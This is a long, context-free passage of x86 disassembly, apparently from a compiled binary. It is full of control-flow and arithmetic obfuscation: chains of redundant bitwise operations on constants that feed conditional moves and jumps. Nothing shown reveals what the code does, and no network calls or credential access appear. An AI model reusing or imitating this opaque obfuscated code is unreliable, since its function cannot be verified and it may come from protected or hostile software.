xor bh, 1
and dh, bh
mov cl, ch
xor cl, 0xff
and cl, 0xff
and ch, bh
or ah, dh
or cl, ch
xor ah, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
mov dh, cl
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or al, dh
or ah, ch
xor al, ah
xor al, 0xff
xor al, 1
and al, 0xff
mov ch, 1
xor ch, 1
and ch, 0
mov dh, 1
xor dh, 0
mov bh, dh
and bh, 1
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or ch, bh
or ah, dh
xor ch, ah
xor cl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 0
or cl, ch
or ah, 0
xor cl, 0xff
and cl, ah
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov al, dl
xor al, 0xff
xor al, 0
and al, 0
mov bh, 1
xor bh, 0
and bh, 1
mov dh, 1
xor dh, 1
mov ah, dh
and ah, 0
mov cl, dl
xor cl, 0xff
and cl, 0xff
and dl, dh
or bh, ah
or cl, dl
xor bh, cl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x51f], ah
mov dl, bh
xor dl, 0xff
mov cl, 1
xor cl, 0
and ah, 0
and al, cl
mov dh, dl
and dh, 0
and bh, cl
or ah, al
mov al, byte [ebp - 0x51f]
or dh, bh
xor ah, dh
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov al, ch
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
and ch, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, ch
or cl, dl
xor al, cl
mov dh, ah
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or dh, ah
or cl, dl
xor dh, cl
mov bh, 1
xor bh, 1
and bh, 1
mov cl, 1
xor cl, 1
and cl, 1
or bh, cl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x51e], ah
mov dl, dh
xor dl, 0xff
mov cl, 1
xor cl, 0
and ah, 0
and al, cl
mov ch, dl
and ch, 0
and dh, cl
or ah, al
mov al, byte [ebp - 0x51e]
or ch, dh
xor ah, ch
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov cl, 1
xor cl, 1
mov byte [ebp - 0x51d], cl
mov ch, bh
xor ch, 0xff
mov dl, 1
xor dl, 0
and cl, 0
mov al, dl
and al, 1
mov dh, ch
and dh, 0
and bh, dl
or cl, al
mov al, byte [ebp - 0x51d]
or dh, bh
xor cl, dh
or al, ch
xor al, 0xff
or dl, 0
and al, dl
or cl, al
mov dh, ah
xor dh, 0xff
and dh, 0
mov dl, 1
xor dl, 0
and ah, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or dh, ah
or al, dl
xor dh, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
mov al, bl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov cl, bl
and cl, dl
or al, cl
mov byte [ebp - 0x51c], al
mov bh, dh
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
mov cl, dh
and cl, dl
or bh, cl
mov dl, 1
xor dl, 0
and dl, 0
mov ah, 1
xor ah, 0
mov ch, ah
and ch, 0
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or dl, ch
or cl, ah
xor dl, cl
mov cl, 1
xor cl, 0
mov ah, al
xor ah, cl
and ah, al
xor bl, 0xff
mov cl, dl
xor cl, 0xff
mov al, 1
xor al, 1
or bl, cl
or al, 1
xor bl, 0xff
and bl, al
mov al, 1
xor al, 0
mov cl, bh
xor cl, al
and cl, bh
xor dh, 0xff
mov al, dl
xor al, 0xff
mov ch, 1
xor ch, 0
or dh, al
mov al, byte [ebp - 0x51c]
or ch, 0
xor dh, 0xff
and dh, ch
mov ch, ah
and ch, bl
xor ah, bl
or ch, ah
mov ah, cl
and ah, dh
xor cl, dh
or ah, cl
mov bl, ch
xor bl, 0xff
and bl, 0
mov dh, 1
xor dh, 0
and ch, dh
mov cl, ah
xor cl, 0xff
and cl, 0
and ah, dh
or bl, ch
or cl, ah
xor bl, cl
mov cl, al
xor cl, 0xff
mov byte [ebp - 0x51b], cl
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
and cl, 0xff
and al, ah
mov dh, ch
and dh, 0xff
and bh, ah
or cl, al
mov al, byte [ebp - 0x51b]
or dh, bh
xor cl, dh
or al, ch
xor al, 0xff
or ah, 1
and al, ah
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and cl, ah
or al, cl
mov cl, dl
and cl, 0
xor dl, 0
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1d541c0c
mov ecx, 0x8209506e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x4b4ff5
mov eax, dword [ebp - 0xb4]
sar eax, 0xc
mov dword [ebp - 0x584], eax
mov ecx, 0xffffffff
xor ecx, 3
and ecx, 0xb496a86f
mov edx, 0xffffffff
xor edx, 0xb496a86f
mov esi, edx
and esi, 3
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xb496a86f
and edx, 0xffffffff
or ecx, esi
or eax, edx
xor ecx, eax
mov edx, 0xffffffff
xor edx, 0x41b5f9dc
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x61b3315b
or edx, ecx
or eax, 0x61b3315b
xor edx, 0xffffffff
and edx, eax
mov ebx, 0xffffffff
xor ebx, 0x41b5f9dc
and ebx, 0x114ac5b7
mov ecx, 0xffffffff
xor ecx, 0x114ac5b7
mov esi, ecx
and esi, 0x41b5f9dc
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x114ac5b7
and ecx, 0xffffffff
or ebx, esi
or eax, ecx
xor ebx, eax
mov dword [ebp - 0x59c], ebx
xor ebx, 0xffffffff
xor ebx, 3
and ebx, 3
mov esi, 0xffffffff
xor esi, 0xffffffff
and esi, 0x76af3bc8
mov edi, 0xffffffff
xor edi, 0x76af3bc8
mov eax, edi
and eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0x76af3bc8
and edi, 0xffffffff
or esi, eax
mov eax, dword [ebp - 0x59c]
or ecx, edi
xor esi, ecx
mov edi, 0xffffffff
xor edi, 0x41b5f9dc
mov ecx, esi
xor ecx, edi
and ecx, esi
mov esi, 0xffffffff
xor esi, 0xffffffff
xor eax, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x1f3a84d7
or esi, eax
mov eax, dword [ebp - 0x584]
or edi, 0x1f3a84d7
xor esi, 0xffffffff
and esi, edi
mov edi, edx
and edi, ebx
xor edx, ebx
or edi, edx
mov edx, ecx
and edx, esi
xor ecx, esi
or edx, ecx
mov esi, edi
xor esi, 0xffffffff
and esi, 0x31e19940
mov ebx, 0xffffffff
xor ebx, 0x31e19940
and edi, ebx
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0x31e19940
and edx, ebx
or esi, edi
or ecx, edx
xor esi, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xffffffff
mov edx, eax
and edx, edi
or ecx, edx
xor ecx, 0xffffffff
xor ecx, 0x39becc44
and ecx, 0x39becc44
mov dword [ebp - 0x598], ecx
mov edi, 0xffffffff
xor edi, 0x39becc44
and edi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0x39becc44
or edi, ecx
mov edx, edi
xor edx, 0xffffffff
mov ecx, eax
xor ecx, edx
and ecx, eax
mov edx, esi
xor edx, 0xffffffff
and edx, 0xffffffff
mov ebx, 0xffffffff
xor ebx, 0xffffffff
mov eax, esi
and eax, ebx
or edx, eax
xor edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x39becc44
mov ebx, 0xffffffff
xor ebx, 0x7d241a7
or edx, eax
mov eax, dword [ebp - 0x598]
or ebx, 0x7d241a7
xor edx, 0xffffffff
and edx, ebx
mov dword [ebp - 0x58c], edx
xor edi, 0xffffffff
mov edx, esi
xor edx, edi
and edx, esi
mov esi, eax
xor esi, 0xffffffff
mov edi, ecx
xor edi, 0xffffffff
mov dword [ebp - 0x588], edi
mov ebx, 0xffffffff
xor ebx, 0xbd212c28
mov edi, esi
and edi, 0xbd212c28
and eax, ebx
mov dword [ebp - 0x594], eax
mov eax, dword [ebp - 0x588]
and eax, 0xbd212c28
mov dword [ebp - 0x590], eax
mov eax, dword [ebp - 0x594]
and ecx, ebx
or edi, eax
mov eax, dword [ebp - 0x590]
or eax, ecx
mov ecx, dword [ebp - 0x58c]
xor edi, eax
mov eax, dword [ebp - 0x588]
or esi, eax
mov eax, dword [ebp - 0x584]
xor esi, 0xffffffff
or ebx, 0xbd212c28
and esi, ebx
or edi, esi
mov esi, ecx
and esi, edx
xor ecx, edx
or esi, ecx
mov ecx, edi
xor ecx, 0xffffffff
and ecx, 0xe2d934e4
mov ebx, 0xffffffff
xor ebx, 0xe2d934e4
and edi, ebx
mov edx, esi
xor edx, 0xffffffff
and edx, 0xe2d934e4
and esi, ebx
or ecx, edi
or edx, esi
xor ecx, edx
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
and ecx, esi
or edx, ecx
mov esi, eax
xor esi, 0xffffffff
and esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
or esi, eax
mov ecx, 0xffffffff
xor ecx, 0xdaab137d
and ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xdaab137d
or ecx, eax
mov eax, edx
and eax, esi
xor edx, esi
or eax, edx
mov edx, ecx
and edx, 0xdaab137d
xor ecx, 0xdaab137d
or edx, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
and eax, esi
or ecx, eax
xor edx, 0xffffffff
mov eax, ecx
xor eax, edx
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xad], al
mov eax, dword [0x6525dc]
mov ecx, dword [0x6525d8]
mov esi, 0x285ceaf
add esi, 0
add esi, 0x9f8fc3af
sub esi, 0x285ceaf
add esi, 0x81886ad9
sub esi, 1
sub esi, 0x81886ad9
sub esi, 0xd3733cff
sub esi, 0x9f8fc3af
add esi, 0xd3733cff
xor edi, edi
sub edi, eax
xor edx, edx
sub edx, 0x9c3b6b6c
add edi, edx
xor edx, edx
sub edx, edi
sub edx, 0x3e6da80e
add edx, esi
add edx, 0x3e6da80e
xor esi, esi
sub esi, 0x9c3b6b6c
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
mov byte [ebp - 0x57c], ah
cmp ecx, 0xa
setl dh
mov cl, ah
xor cl, 0xff
and cl, 0
mov dl, 1
xor dl, 0
mov ch, ah
and ch, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, ch
or al, dl
xor cl, al
xor cl, 0xff
xor cl, 0
and cl, 0
mov al, 1
xor al, 0
and al, 1
mov dl, 1
xor dl, 1
and dl, 0
or al, dl
mov ch, al
xor ch, 0xff
mov dl, ah
xor dl, ch
and dl, ah
mov bh, 1
xor bh, 1
and bh, 1
mov ah, 1
xor ah, 1
and ah, 1
or bh, ah
xor bh, 0xff
mov ch, 1
xor ch, 0
mov ah, 1
xor ah, 1
or bh, ch
or ah, 1
xor bh, 0xff
and bh, ah
xor al, 0xff
xor al, 1
and al, 0xff
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov cl, bh
xor cl, 0xff
mov bl, al
xor bl, 0xff
mov ch, 1
xor ch, 0
mov dl, cl
and dl, 0
and bh, ch
mov byte [ebp - 0x57e], bh
mov bh, bl
and bh, 0
and al, ch
mov byte [ebp - 0x57d], al
mov al, byte [ebp - 0x57e]
or dl, al
mov al, byte [ebp - 0x57d]
or bh, al
mov al, byte [ebp - 0x57c]
xor dl, bh
or cl, bl
xor cl, 0xff
or ch, 0
and cl, ch
or dl, cl
mov ch, ah
xor ch, 0xff
and ch, 0
mov bl, 1
xor bl, 0
and ah, bl
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, bl
or ch, ah
or cl, dl
xor ch, cl
mov ah, dh
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov cl, dh
and cl, dl
or ah, cl
mov dl, 1
xor dl, 1
xor ah, 0xff
mov cl, 1
xor cl, 1
or dl, ah
or cl, 1
xor dl, 0xff
and dl, cl
mov bl, 1
xor bl, 1
and bl, 0
mov ah, 1
xor ah, 0
mov bh, ah
and bh, 1
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or bl, bh
or cl, ah
xor bl, cl
mov ah, dh
xor ah, 0xff
xor bl, 0xff
mov cl, 1
xor cl, 1
or ah, bl
or cl, 1
xor ah, 0xff
and ah, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov byte [ebp - 0x56b], cl
mov dl, 1
xor dl, 1
and dl, 0
mov ah, 1
xor ah, 0
mov bl, ah
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or dl, bl
or cl, ah
xor dl, cl
xor dl, 0xff
xor dl, 1
and dl, 0xff
mov bl, 1
xor bl, 1
and bl, 1
mov cl, 1
xor cl, 1
and cl, 1
or bl, cl
mov ah, 1
xor ah, 1
xor bl, 0xff
mov cl, 1
xor cl, 0
or ah, bl
or cl, 0
xor ah, 0xff
and ah, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov byte [ebp - 0x564], cl
mov bl, 1
xor bl, 1
and bl, 1
mov cl, 1
xor cl, 1
and cl, 1
or bl, cl
mov ah, ch
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov bh, ch
and bh, cl
mov dl, bl
xor dl, 0xff
and dl, 0xff
and bl, cl
mov cl, byte [ebp - 0x564]
or ah, bh
or dl, bl
xor ah, dl
mov bl, ch
xor bl, 0xff
mov dl, ah
xor dl, bl
and dl, ah
mov byte [ebp - 0x578], dl
mov bh, al
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
and al, dl
or bh, al
mov al, cl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and cl, dl
or al, cl
mov cl, 1
xor cl, 1
and cl, 1
mov dl, 1
xor dl, 1
and dl, 1
or cl, dl
mov byte [ebp - 0x579], cl
mov cl, bh
xor cl, 0xff
mov bl, al
xor bl, 0xff
mov dl, 1
xor dl, 0
mov ah, cl
and ah, 0
and bh, dl
mov byte [ebp - 0x57b], bh
mov bh, bl
and bh, 0
and al, dl
mov byte [ebp - 0x57a], al
mov al, byte [ebp - 0x57b]
or ah, al
mov al, byte [ebp - 0x57a]
or bh, al
mov al, byte [ebp - 0x579]
xor ah, bh
mov bh, byte [ebp - 0x56b]
or cl, bl
xor cl, 0xff
or dl, 0
and cl, dl
or ah, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
mov bl, ah
xor bl, 0xff
and bl, 0
mov dl, 1
xor dl, 0
and ah, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or bl, ah
or al, dl
xor bl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or bl, cl
or al, 0
xor bl, 0xff
and bl, al
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
mov ah, bh
xor ah, 0xff
and ah, 0
mov al, 1
xor al, 0
and bh, al
mov dl, cl
xor dl, 0xff
and dl, 0
and cl, al
mov al, byte [ebp - 0x578]
or ah, bh
mov bh, byte [ebp - 0x56b]
or dl, cl
mov cl, byte [ebp - 0x564]
xor ah, dl
xor ah, 0xff
xor bh, 0xff
mov dl, 1
xor dl, 0
or ah, bh
or dl, 0
xor ah, 0xff
and ah, dl
mov bh, cl
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
and cl, dl
or bh, cl
mov dl, dh
xor dl, 0xff
mov cl, bh
and cl, dl
xor bh, 0xff
mov dl, dh
and dl, bh
or cl, dl
xor dh, 0xff
mov dl, cl
xor dl, dh
and dl, cl
mov dh, bl
xor dh, 0xff
mov cl, al
xor cl, dh
and cl, al
mov bh, al
xor bh, 0xff
mov dh, bl
and dh, bh
xor bl, 0xff
and al, bl
or dh, al
mov al, cl
and al, dh
xor cl, dh
or al, cl
mov byte [ebp - 0x56e], al
mov al, ah
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
mov cl, ah
and cl, dh
or al, cl
mov byte [ebp - 0x573], al
mov bh, dl
xor bh, 0xff
and bh, 1
mov dh, 1
xor dh, 1
mov cl, dl
and cl, dh
or bh, cl
mov dh, 1
xor dh, 0
and dh, 1
mov cl, 1
xor cl, 1
and cl, 0
or dh, cl
mov byte [ebp - 0x572], dh
xor al, 0xff
mov bl, 1
xor bl, 0
mov cl, 1
xor cl, 1
or al, bl
or cl, 1
xor al, 0xff
and al, cl
mov bl, dh
xor bl, 0xff
mov cl, ah
xor cl, bl
and cl, ah
mov bl, 1
xor bl, 0
mov ah, bh
xor ah, bl
and ah, bh
mov byte [ebp - 0x575], ah
xor dl, 0xff
xor dh, 0xff
mov ah, 1
xor ah, 1
or dl, dh
or ah, 1
xor dl, 0xff
and dl, ah
mov ah, al
xor ah, 0xff
mov dh, cl
xor dh, 0xff
mov byte [ebp - 0x574], dh
mov bl, 1
xor bl, 1
mov dh, ah
and dh, 0xff
and al, bl
mov byte [ebp - 0x577], al
mov al, byte [ebp - 0x574]
and al, 0xff
mov byte [ebp - 0x576], al
mov al, byte [ebp - 0x577]
and cl, bl
or dh, al
mov al, byte [ebp - 0x576]
or al, cl
mov cl, byte [ebp - 0x575]
xor dh, al
mov al, byte [ebp - 0x574]
or ah, al
mov al, byte [ebp - 0x573]
xor ah, 0xff
or bl, 1
and ah, bl
or dh, ah
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
and dh, bl
mov dl, ah
xor dl, 0xff
and dl, 0xff
and ah, bl
or cl, dh
or dl, ah
xor cl, dl
mov byte [ebp - 0x56f], cl
mov dl, al
xor dl, 0xff
mov dh, bh
xor dh, 0xff
mov ah, 1
xor ah, 1
mov cl, dl
and cl, 0xff
and al, ah
mov bl, dh
and bl, 0xff
and bh, ah
or cl, al
mov al, byte [ebp - 0x572]
or bl, bh
xor cl, bl
or dl, dh
xor dl, 0xff
or ah, 1
and dl, ah
or cl, dl
mov bh, cl
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
and cl, dl
or bh, cl
mov cl, 1
xor cl, 0
mov dh, al
xor dh, 0xff
mov ah, 1
xor ah, 1
mov dl, cl
and dl, 0xff
mov bl, ah
and bl, 0
mov byte [ebp - 0x571], bl
mov bl, dh
and bl, 0xff
and al, ah
mov byte [ebp - 0x570], al
mov al, byte [ebp - 0x571]
or dl, al
mov al, byte [ebp - 0x570]
or bl, al
mov al, byte [ebp - 0x56f]
xor dl, bl
or cl, dh
xor cl, 0xff
or ah, 1
and cl, ah
or dl, cl
xor bh, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 0
or bh, dl
or cl, 0
xor bh, 0xff
and bh, cl
mov dl, al
xor dl, 0xff
mov dh, bh
xor dh, 0xff
mov ah, 1
xor ah, 1
mov cl, dl
and cl, 0xff
and al, ah
mov bl, dh
and bl, 0xff
and bh, ah
or cl, al
mov al, byte [ebp - 0x56e]
or bl, bh
xor cl, bl
or dl, dh
xor dl, 0xff
or ah, 1
and dl, ah
or cl, dl
mov dh, al
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
mov bl, al
and bl, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or dh, bl
or dl, ah
xor dh, dl
mov dl, 1
xor dl, 0
xor dh, 0xff
mov ah, 1
xor ah, 1
or dl, dh
or ah, 1
xor dl, 0xff
and dl, ah
mov bh, 1
xor bh, 0
and bh, 1
mov ah, 1
xor ah, 1
and ah, 0
or bh, ah
mov ah, bh
xor ah, 0xff
mov bl, al
xor bl, ah
and bl, al
mov dh, cl
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
mov al, cl
and al, ah
mov byte [ebp - 0x56d], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x56c], al
mov al, byte [ebp - 0x56d]
and ah, 1
or dh, al
mov al, byte [ebp - 0x56c]
or al, ah
xor dh, al
mov ah, 1
xor ah, 0
mov al, dh
xor al, ah
mov ah, byte [ebp - 0x56b]
and al, dh
xor bh, 0xff
mov dh, cl
xor dh, bh
and dh, cl
mov cl, dl
and cl, bl
xor dl, bl
or cl, dl
mov dl, al
and dl, dh
xor al, dh
or dl, al
mov dh, cl
xor dh, 0xff
mov al, dl
and al, dh
xor dl, 0xff
and cl, dl
or al, cl
mov byte [ebp - 0x563], al
mov al, ch
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
mov dh, ch
and dh, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, dh
or cl, dl
xor al, cl
mov byte [ebp - 0x567], al
mov bh, ah
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
mov dh, ah
and dh, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or bh, dh
or cl, dl
xor bh, cl
mov dh, 1
xor dh, 1
and dh, 0
mov dl, 1
xor dl, 0
mov bl, dl
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or dh, bl
or cl, dl
xor dh, cl
mov byte [ebp - 0x568], dh
mov cl, 1
xor cl, 1
mov dl, al
xor dl, cl
and dl, al
xor ch, 0xff
mov cl, dh
xor cl, 0xff
mov al, 1
xor al, 1
or ch, cl
or al, 1
xor ch, 0xff
and ch, al
mov al, bh
xor al, 0xff
mov bl, 1
xor bl, 1
mov cl, 1
xor cl, 1
or al, bl
or cl, 1
xor al, 0xff
and al, cl
xor dh, 0xff
mov cl, ah
xor cl, dh
and cl, ah
mov ah, dl
and ah, ch
xor dl, ch
or ah, dl
mov dl, al
xor dl, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ch, dl
and ch, 0xff
and al, dh
mov byte [ebp - 0x56a], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x569], al
mov al, byte [ebp - 0x56a]
and cl, dh
or ch, al
mov al, byte [ebp - 0x569]
or al, cl
mov cl, byte [ebp - 0x568]
xor ch, al
mov al, byte [ebp - 0x567]
or dl, bl
xor dl, 0xff
or dh, 1
and dl, dh
or ch, dl
mov dh, ah
xor dh, 0xff
mov dl, ch
and dl, dh
xor ch, 0xff
and ah, ch
or dl, ah
mov byte [ebp - 0x566], dl
mov dl, al
xor dl, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, dl
and ah, 0xff
and al, ch
mov bl, dh
and bl, 0xff
and bh, ch
or ah, al
mov al, byte [ebp - 0x566]
or bl, bh
xor ah, bl
or dl, dh
xor dl, 0xff
or ch, 1
and dl, ch
or ah, dl
mov dl, ah
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and ah, ch
or dl, ah
mov ah, cl
and ah, 1
xor cl, 1
or ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov bl, al
and bl, cl
xor al, cl
or bl, al
mov cl, bl
xor cl, 0xff
and cl, 0
mov dl, 1
xor dl, 0
mov ah, bl
and ah, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, ah
or al, dl
xor cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
xor bl, 0xff
mov dl, bh
xor dl, 0xff
mov al, 1
xor al, 0
or bl, dl
or al, 0
xor bl, 0xff
and bl, al
mov al, 1
xor al, 1
and al, 1
mov dl, 1
xor dl, 1
and dl, 1
or al, dl
mov ah, 1
xor ah, 1
mov dl, al
xor dl, ah
and dl, al
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov al, cl
xor al, 0xff
mov byte [ebp - 0x565], al
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 0
and al, 0
and cl, ah
mov dh, ch
and dh, 0
and bl, ah
or al, cl
mov cl, byte [ebp - 0x565]
or dh, bl
xor al, dh
or cl, ch
xor cl, 0xff
or ah, 0
and cl, ah
or al, cl
mov ah, dl
xor ah, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov cl, ah
and cl, 0
and dl, ch
mov bl, dh
and bl, 0
and bh, ch
or cl, dl
mov dl, byte [ebp - 0x564]
or bl, bh
xor cl, bl
or ah, dh
xor ah, 0xff
or ch, 0
and ah, ch
or cl, ah
mov ah, al
xor ah, 0xff
mov dh, cl
and dh, ah
xor cl, 0xff
and al, cl
or dh, al
mov cl, 1
xor cl, 1
mov ah, dl
xor ah, 0xff
mov al, 1
xor al, 1
or cl, ah
or al, 1
xor cl, 0xff
and cl, al
mov bh, 1
xor bh, 1
and bh, 0
mov ch, 1
xor ch, 0
mov ah, ch
and ah, 1
mov al, dl
xor al, 0xff
and al, 0
and dl, ch
or bh, ah
or al, dl
xor bh, al
mov dl, cl
xor dl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov al, dl
and al, 0
and cl, ah
mov bl, ch
and bl, 0
and bh, ah
or al, cl
mov cl, byte [ebp - 0x563]
or bl, bh
xor al, bl
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or al, dl
mov dl, dh
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or dl, dh
or ah, ch
xor dl, ah
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and al, ch
or ah, al
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
mov al, dl
and al, ah
xor dl, ah
or al, dl
mov byte [ebp - 0x562], al
mov ah, 1
xor ah, 1
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov dl, ah
and dl, 0
mov al, ch
and al, 1
mov bl, dh
and bl, 0
and bh, ch
or dl, al
mov al, byte [ebp - 0x562]
or bl, bh
xor dl, bl
or ah, dh
xor ah, 0xff
or ch, 0
and ah, ch
or dl, ah
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and al, ch
or ah, al
xor ah, 0xff
xor dl, 0xff
mov al, 1
xor al, 0
or ah, dl
or al, 0
xor ah, 0xff
and ah, al
mov ch, cl
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
mov al, cl
and al, dl
or ch, al
mov byte [ebp - 0x55f], ch
mov dl, ah
xor dl, 0xff
and dl, 0
mov dh, 1
xor dh, 0
mov bl, ah
and bl, dh
mov al, 1
xor al, 1
and al, 0
and dh, 1
or dl, bl
or al, dh
xor dl, al
mov bh, 1
xor bh, 1
and bh, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 1
mov al, 1
xor al, 1
and al, 0xff
and dh, 1
or bh, bl
or al, dh
xor bh, al
mov dh, 1
xor dh, 1
mov al, ch
xor al, dh
and al, ch
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
or cl, dh
or ch, 0
xor cl, 0xff
and cl, ch
mov dh, 1
xor dh, 1
mov ch, dl
xor ch, dh
and ch, dl
mov byte [ebp - 0x55d], ch
xor ah, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
or ah, dh
or ch, 1
xor ah, 0xff
and ah, ch
mov ch, al
xor ch, 0xff
mov dh, cl
xor dh, 0xff
mov byte [ebp - 0x55e], dh
mov bl, 1
xor bl, 1
mov dh, ch
and dh, 0xff
and al, bl
mov byte [ebp - 0x561], al
mov al, byte [ebp - 0x55e]
and al, 0xff
mov byte [ebp - 0x560], al
mov al, byte [ebp - 0x561]
and cl, bl
or dh, al
mov al, byte [ebp - 0x560]
or al, cl
mov cl, byte [ebp - 0x55f]
xor dh, al
mov al, byte [ebp - 0x55e]
or ch, al
mov al, byte [ebp - 0x55d]
xor ch, 0xff
or bl, 1
and ch, bl
or dh, ch
mov ch, al
and ch, ah
xor al, ah
or ch, al
mov al, dh
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
and dh, bl
mov ah, ch
xor ah, 0xff
and ah, 0
and ch, bl
or al, dh
or ah, ch
xor al, ah
mov byte [ebp - 0x55c], al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and al, dl
or cl, al
mov dl, 1
xor dl, 1
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov ah, dl
and ah, 0
mov al, ch
and al, 1
mov bl, dh
and bl, 0
and bh, ch
or ah, al
mov al, byte [ebp - 0x55c]
or bl, bh
xor ah, bl
or dl, dh
xor dl, 0xff
or ch, 0
and dl, ch
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
